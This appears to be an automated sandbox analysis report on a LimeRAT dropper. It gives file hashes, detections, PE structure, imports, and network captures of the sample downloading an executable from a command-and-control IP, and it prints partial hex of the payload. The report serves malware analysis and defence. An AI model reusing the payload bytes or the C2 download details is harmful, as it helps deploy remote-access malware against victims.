                                  SHA-256:2FAB6FC8E6C8506644E14C81296493AE5A760D9DBF48E59452C328A27FDE1D07
                                  SHA-512:784F1B5A397B228B30DDE97EDEDEAC4C94985FB66F1608962978B3AB1E3A97668234F0DCFC3C6BB9E58F7A2E92E5A56D33BFAE8C2DA6C03501D803F94F6A955E
                                  Malicious:false
                                  Preview:{"autofill":{"states_data_dir":"C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\2020.11.2.164946"},"browser":{"last_redirect_origin":"","shortcut_migration_version":"92.0.4515.159"},"chrome_cleaner":{"scan_completion_time":"13276779605137578"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.642668702858488e+12,"network":1.642668703e+12,"ticks":60687044.0,"uncertainty":1230605.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDAAAAAAIAAAAAABBmAAAAAQAAIAAAAIi9IkqThTzoDjz/SbzVMN6ojv2e+IWxi1hNPZekZpvHAAAAAA6AAAAAAgAAIAAAAAUAxx69p6cLu26Q2Hr4RmGMSdZydqsFEbXDuU/DQjNBMAAAAIjUciIMZJVdhTeHew42TuNasyfPQ/tWU5NsLVjboe0zHjtdzkC5ew1pmiCHlSxe20AAAADHMdJi6EMHqPhkdh83Av+0ljq5qSldx4HBU10VdDSmk

                                  C:\Users\user\AppData\Roaming\wtqsCpda..exe

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                  Category:dropped
                                  Size (bytes):29184
                                  Entropy (8bit):5.951469681811296
                                  Encrypted:false
                                  SSDEEP:384:cB+Sbj6NKom4r+65xAH6kgvqDc0gpEkvDKNrCeJE3WNgP0bVjeNwsN4jhxUQro3C:6pomn65xw6p0gpEK45N62YNw44VxWij
                                  MD5:3D7801D573CAB12F3093C219EBFE495C
                                  SHA1:E1AD7BE4BA84E44E4EE4339232B984D29C1328D1
                                  SHA-256:21B86512DE83574C3AD44210D025E93FB28D205CFBD18825DA0A64A52063B627
                                  SHA-512:844418BEE9DFC603211E2B7E989879B97523ADC18630F0EA1B8D93377B3D5FD867A19FFD0AF0AC3867D35FC5C8231A1ABBBF11F24F8784AB6349AFD27AC30CC5
                                  Malicious:true
                                  Yara Hits:
                                  • Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, Author: Joe Security
                                  • Rule: MALWARE_Win_LimeRAT, Description: LimeRAT payload, Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, Author: ditekSHen
                                  Antivirus:
                                  • Antivirus: Avira, Detection: 100%
                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                  • Antivirus: ReversingLabs, Detection: 93%
                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... .)b.................n..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tm... ...n.................. ..`.reloc...............p..............@..B........................................................P.......H.......`G...E......V.....................................................(....*..(....*.s.........s.........s.........s.........*.~....o....*.~....o....*.~....o....*.~....o....*6..(....(....*..(....*......(....*..(....*.0................-.(...+.+....*".......*..(....*r~.........-.(...+.....~....*...0..........(....-W(....o....o....r...p(....o....-7r...p(....-+(....-$( ...-.r...p(!...r-..p("...(#...-..ArI..p($...((...r...p(%...r...p(&......('...&((.....%()....(*.....*........

                                  C:\Users\user\AppData\Roaming\xKvvlF..tmp

                                  Download File
                                  Process:C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  File Type:SQLite 3.x database, last written using SQLite version 3035005
                                  Category:dropped
                                  Size (bytes):49152
                                  Entropy (8bit):0.8182303930711242
                                  Encrypted:false
                                  SSDEEP:96:+RMKLyeymwxCn8MZyFltK3PlGNxot83n:+RkxGO8PlGNxz
                                  MD5:A93B35941137916187814E3E7C88C93D
                                  SHA1:3834E7B2A614BD688831CFC47786729F6CAC0121
                                  SHA-256:0D1DC0E9F4C9BE281E17D24AC969E0FF3F8388114420417126A4F502EABC3107
                                  SHA-512:84A749B77BBED02944C9B25D1B98C638B3DBB906A2A222FF9FB229C7AC0C8A64D123D1CB47A1E9A88FB9E67BAD0928FE1C952152F30311EFC6C8B9330B9441B4
                                  Malicious:false
                                  Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                  Static File Info

                                  General

                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                  Entropy (8bit):2.7480998924776148
                                  TrID:
                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                  • DOS Executable Generic (2002/1) 0.02%
                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                  File name:DocumentoSENAMHI20222103.exe
                                  File size:1320960
                                  MD5:81ba3d2de48272d692c4e6604e6b1db9
                                  SHA1:921e7008881d5e0e9a788ee310ddef60b343c647
                                  SHA256:eef5ae48384a5c5dff5d4c7b1a768c4eb1fe5d3df0347c85c9c1b404327dbba9
                                  SHA512:f53f5aef705bbce8ba6c8d7013425b274ca74b562a832fa9986a7000d14a8bf163869db503e8d6682c4773dea9ddd67fc8ad1a9a78f7a3e98309c9ba540ec89a
                                  SSDEEP:6144:aNk8vti3OqUP1bq00RiTwSltgxCKYPMXq9NmiQBYGhpX8x4MWy1FYCz8hJ2n3C+e:Ak8l7D4pa7+ocZ
                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V\-..=C..=C..=C..V@..=C..VF..=C.pEG..=C.pE@..=C.pEF.#=C..VE..=C..VG..=C..VB..=C..=B..=C..DJ..=C..D...=C..=...=C..DA..=C.Rich.=C

                                  File Icon

                                  Icon Hash:00828e8e8686b000

                                  Static PE Info

                                  General

                                  Entrypoint:0x404718
                                  Entrypoint Section:.text
                                  Digitally signed:false
                                  Imagebase:0x400000
                                  Subsystem:windows gui
                                  Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                  DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                  Time Stamp:0x6237B381 [Sun Mar 20 23:06:41 2022 UTC]
                                  TLS Callbacks:
                                  CLR (.Net) Version:
                                  OS Version Major:6
                                  OS Version Minor:0
                                  File Version Major:6
                                  File Version Minor:0
                                  Subsystem Version Major:6
                                  Subsystem Version Minor:0
                                  Import Hash:5ed77736e49da7d22b203d8d8f918a6b

                                  Entrypoint Preview

                                  Instruction
                                  call 00007F06FCC28733h
                                  jmp 00007F06FCC2809Fh
                                  retn 0000h
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  int3
                                  push 00405570h
                                  push dword ptr fs:[00000000h]
                                  mov eax, dword ptr [esp+10h]
                                  mov dword ptr [esp+10h], ebp
                                  lea ebp, dword ptr [esp+10h]
                                  sub esp, eax
                                  push ebx
                                  push esi
                                  push edi
                                  mov eax, dword ptr [00419008h]
                                  xor dword ptr [ebp-04h], eax
                                  xor eax, ebp
                                  push eax
                                  mov dword ptr [ebp-18h], esp
                                  push dword ptr [ebp-08h]
                                  mov eax, dword ptr [ebp-04h]
                                  mov dword ptr [ebp-04h], FFFFFFFEh
                                  mov dword ptr [ebp-08h], eax
                                  lea eax, dword ptr [ebp-10h]
                                  mov dword ptr fs:[00000000h], eax
                                  ret
                                  push ebp
                                  mov ebp, esp
                                  and dword ptr [00542724h], 00000000h
                                  sub esp, 24h
                                  or dword ptr [00419010h], 01h
                                  push 0000000Ah
                                  call dword ptr [0041122Ch]
                                  test eax, eax
                                  je 00007F06FCC283D2h
                                  and dword ptr [ebp-10h], 00000000h
                                  xor eax, eax
                                  push ebx
                                  push esi
                                  push edi
                                  xor ecx, ecx
                                  lea edi, dword ptr [ebp-24h]
                                  push ebx
                                  cpuid
                                  mov esi, ebx
                                  pop ebx
                                  nop
                                  mov dword ptr [edi], eax
                                  mov dword ptr [edi+04h], esi
                                  mov dword ptr [edi+08h], ecx
                                  xor ecx, ecx
                                  mov dword ptr [edi+0Ch], edx
                                  mov eax, dword ptr [ebp-24h]
                                  mov edi, dword ptr [ebp-20h]
                                  mov dword ptr [ebp-0Ch], eax
                                  xor edi, 756E6547h
                                  mov eax, dword ptr [ebp-18h]
                                  xor eax, 49656E69h
                                  mov dword ptr [ebp-04h], eax
                                  mov eax, dword ptr [ebp-1Ch]
                                  xor eax, 6C65746Eh
                                  mov dword ptr [ebp-08h], eax

                                  Data Directories

                                  NameVirtual AddressVirtual Size Is in Section
                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x174a00x78.rdata
                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x1430000xd28.rsrc
                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x1440000x12dc.reloc
                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x163800x54.rdata
                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x162c00x40.rdata
                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IAT0x110000x278.rdata
                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                  Sections

                                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                  .text0x10000xf9cd0xfa00False0.605875data6.61019563742IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                  .rdata0x110000x73220x7400False0.416386045259data4.90923942869IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                  .data0x190000x129e780x129400False0.133941830057data2.29312173446IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                  .rsrc0x1430000xd280xe00False0.339006696429data3.85073462575IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                  .reloc0x1440000x12dc0x1400False0.7365234375data6.39751442919IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                  Resources

                                  NameRVASizeTypeLanguageCountry
                                  REGISTRY0x1434d00xaaASCII textEnglishUnited States
                                  TYPELIB0x1436a00x4d0dataEnglishUnited States
                                  RT_DIALOG0x1435800x11adataEnglishUnited States
                                  RT_STRING0x143b700x32dataEnglishUnited States
                                  RT_VERSION0x1431f00x2dcdataEnglishUnited States
                                  RT_MANIFEST0x143ba80x17dXML 1.0 document textEnglishUnited States

                                  Imports

                                  DLLImport
                                  KERNEL32.dllDecodePointer, DeleteCriticalSection, GetTickCount, AcquireSRWLockExclusive, AssignProcessToJobObject, CompareStringW, ConnectNamedPipe, CreateDirectoryW, CreateEventW, CreateFileMappingW, CreateFileW, CreateIoCompletionPort, CreateJobObjectW, CreateMutexW, CreateNamedPipeW, CreateProcessW, CreateRemoteThread, CreateSemaphoreW, DebugBreak, DeleteFileW, DisconnectNamedPipe, DuplicateHandle, EncodePointer, EnterCriticalSection, EnumSystemLocalesEx, EnumSystemLocalesW, ExitProcess, ExpandEnvironmentStringsW, FileTimeToSystemTime, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FlushViewOfFile, FormatMessageA, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetComputerNameExW, GetConsoleCP, GetConsoleMode, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetDateFormatW, GetDriveTypeW, GetEnvironmentStringsW, GetExitCodeProcess, GetFileAttributesW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetFileSizeEx, GetFileType, GetFullPathNameW, GetLocalTime, GetLocaleInfoW, GetLongPathNameW, CreateThread, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetNativeSystemInfo, GetOEMCP, GetProcAddress, GetProcessHandleCount, GetProcessHeaps, GetProcessId, GetProcessTimes, GetQueuedCompletionStatus, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemDefaultLCID, GetSystemDirectoryW, GetSystemInfo, GetSystemTimeAsFileTime, GetTempPathW, GetThreadContext, GetThreadId, GetThreadLocale, GetThreadPriority, GetTimeFormatW, GetTimeZoneInformation, GetUserDefaultLCID, GetUserDefaultLangID, GetUserDefaultLocaleName, GetModuleFileNameA, SizeofResource, VirtualProtect, SetLastError, VirtualAlloc, LoadLibraryExA, LeaveCriticalSection, FindResourceA, Sleep, IsDBCSLeadByte, LoadResource, WideCharToMultiByte, lstrcmpiA, GetConsoleOutputCP, SetFilePointerEx, SetStdHandle, IsValidCodePage, HeapReAlloc, HeapSize, LCMapStringW, WriteFile, VirtualQuery, LoadLibraryExW, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, RaiseException, CloseHandle, GetLastError, MultiByteToWideChar, GetCurrentThreadId, InitializeCriticalSectionEx, GetModuleFileNameW, RtlUnwind, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsProcessorFeaturePresent, InitializeSListHead, GetProcessHeap, HeapFree, IsDebuggerPresent, OutputDebugStringW, HeapAlloc, WriteConsoleW
                                  USER32.dllCharNextA, MessageBoxA
                                  ADVAPI32.dllRegQueryInfoKeyW, RegDeleteKeyA, RegCreateKeyExA, RegSetValueExA, RegOpenKeyExA, RegDeleteValueA, RegEnumKeyExA, RegCloseKey
                                  ole32.dllCoCreateInstance, CoTaskMemFree, CoTaskMemRealloc, CoTaskMemAlloc
                                  OLEAUT32.dllVarUI4FromStr

                                  Version Infos

                                  DescriptionData
                                  LegalCopyright Microsoft Corporation. All rights reserved.
                                  InternalNameMultiRead
                                  FileVersion1, 0, 0, 1
                                  ProductNameMultiRead Module
                                  ProductVersion1, 0, 0, 1
                                  FileDescriptionMultiRead Module
                                  OriginalFilenameMultiRead.EXE
                                  Translation0x0409 0x04b0

                                  Possible Origin

                                  Language of compilation systemCountry where language is spokenMap
                                  EnglishUnited States

                                  Network Behavior

                                  Network Port Distribution

                                  TCP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Mar 21, 2022 14:44:44.784579039 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:44.826292992 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:44.826538086 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:44.866643906 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:44.917386055 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:46.099622011 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:46.191586018 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:46.191657066 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:46.191708088 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:46.192142963 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:46.561424971 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:46.662405014 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.753345966 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.825952053 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827121019 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827198029 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827254057 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827426910 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.827491999 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.827739954 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827807903 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827863932 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.827965975 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.832956076 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.833034039 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.833091974 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.833213091 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.833271980 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.875135899 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.875216961 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.875274897 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.875444889 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.875647068 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.875893116 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.881580114 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.882987976 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.883243084 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.884320974 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.884393930 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.884633064 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.884759903 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.884834051 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.884892941 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.885085106 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.886195898 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.886456013 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.894030094 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.900281906 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.900355101 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.900413036 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.900552988 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.900609016 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.901709080 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.901771069 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.901819944 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.901866913 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.901983976 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.902029991 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.921277046 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.931324959 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.931385994 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.931435108 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.931607008 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.931653023 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.934722900 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.934783936 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.934833050 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.934986115 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.935780048 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.935842991 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.935892105 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.935981035 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.936036110 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.936048031 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.936110973 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.936317921 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.936542034 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.937211990 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.937273979 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.937434912 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.939285040 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.939347029 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.939395905 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.939516068 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.939562082 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.940073967 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.940418959 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.940655947 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.941996098 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.942058086 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.942344904 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.945924044 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.946001053 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.946052074 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.946099997 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.946211100 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.946255922 CET497612031192.168.11.20172.111.242.20
                                  Mar 21, 2022 14:44:47.946845055 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.952461004 CET203149761172.111.242.20192.168.11.20
                                  Mar 21, 2022 14:44:47.952522039 CET203149761172.111.242.20192.168.11.20

                                  UDP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Mar 21, 2022 14:45:54.851425886 CET5613653192.168.11.201.1.1.1
                                  Mar 21, 2022 14:45:54.860440969 CET53561361.1.1.1192.168.11.20

                                  DNS Queries

                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                  Mar 21, 2022 14:45:54.851425886 CET192.168.11.201.1.1.10x1475Standard query (0)pastebin.comA (IP address)IN (0x0001)

                                  DNS Answers

                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                  Mar 21, 2022 14:45:54.860440969 CET1.1.1.1192.168.11.200x1475No error (0)pastebin.com104.23.98.190A (IP address)IN (0x0001)
                                  Mar 21, 2022 14:45:54.860440969 CET1.1.1.1192.168.11.200x1475No error (0)pastebin.com104.23.99.190A (IP address)IN (0x0001)

                                  HTTP Request Dependency Graph

                                  • pastebin.com
                                  • 172.111.242.20

                                  HTTP Packets

                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  0192.168.11.2049764104.23.98.190443C:\Users\user\AppData\Local\Temp\chrome.exe
                                  TimestampkBytes transferredDirectionData


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  1192.168.11.2049762172.111.242.2080C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe
                                  TimestampkBytes transferredDirectionData
                                  Mar 21, 2022 14:44:48.856550932 CET5746OUTGET /Chrome.exe HTTP/1.1
                                  Accept: */*
                                  Accept-Encoding: gzip, deflate
                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                  Host: 172.111.242.20
                                  Connection: Keep-Alive
                                  Mar 21, 2022 14:44:48.910203934 CET5747INHTTP/1.1 200 OK
                                  Date: Mon, 21 Mar 2022 13:44:48 GMT
                                  Server: Apache/2.2.8 (Win32)
                                  Last-Modified: Thu, 10 Mar 2022 10:08:40 GMT
                                  ETag: "300000003618c-7200-5d9da65f94fe9"
                                  Accept-Ranges: bytes
                                  Content-Length: 29184
                                  Keep-Alive: timeout=5, max=100
                                  Connection: Keep-Alive
                                  Content-Type: application/x-msdownload
                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 02 00 20 ce 29 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 6e 00 00 00 02 00 00 00 00 00 00 6e 8d 00 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 8d 00 00 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 6d 00 00 00 20 00 00 00 6e 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 8d 00 00 00 00 00 00 48 00 00 00 02 00 05 00 60 47 00 00 bc 45 00 00 03 00 00 00 56 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 2e 7e 01 00 00 04 6f 0a 00 00 0a 2a 2e 7e 02 00 00 04 6f 0b 00 00 0a 2a 2e 7e 03 00 00 04 6f 0c 00 00 0a 2a 2e 7e 04 00 00 04 6f 0d 00 00 0a 2a 36 02 03 28 11 00 00 0a 28 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 2e d0 05 00 00 02 28 14 00 00 0a 2a 1e 02 28 15 00 00 0a 2a 13 30 01 00 14 00 00 00 01 00 00 11 02 8c 05 00 00 1b 2d 08 28 01 00 00 2b 0a 2b 02 02 0a 06 2a 22 03 fe 15 05 00 00 1b 2a 1e 02 28 17 00 00 0a 2a 72 7e 1b 00 00 0a 8c 07 00 00 1b 2d 0a 28 02 00 00 2b 80 1b 00 00 0a 7e 1b 00 00 0a 2a 1e 02 1b 30 04 00 a0 00 00 00 02 00 00 11 28 14 00 00 06 2d 57 28 19 00 00 06 6f 15 00 00 0a 6f 1d 00 00 0a 72 01 00 00 70 28 1d 00 00 0a 6f 1e 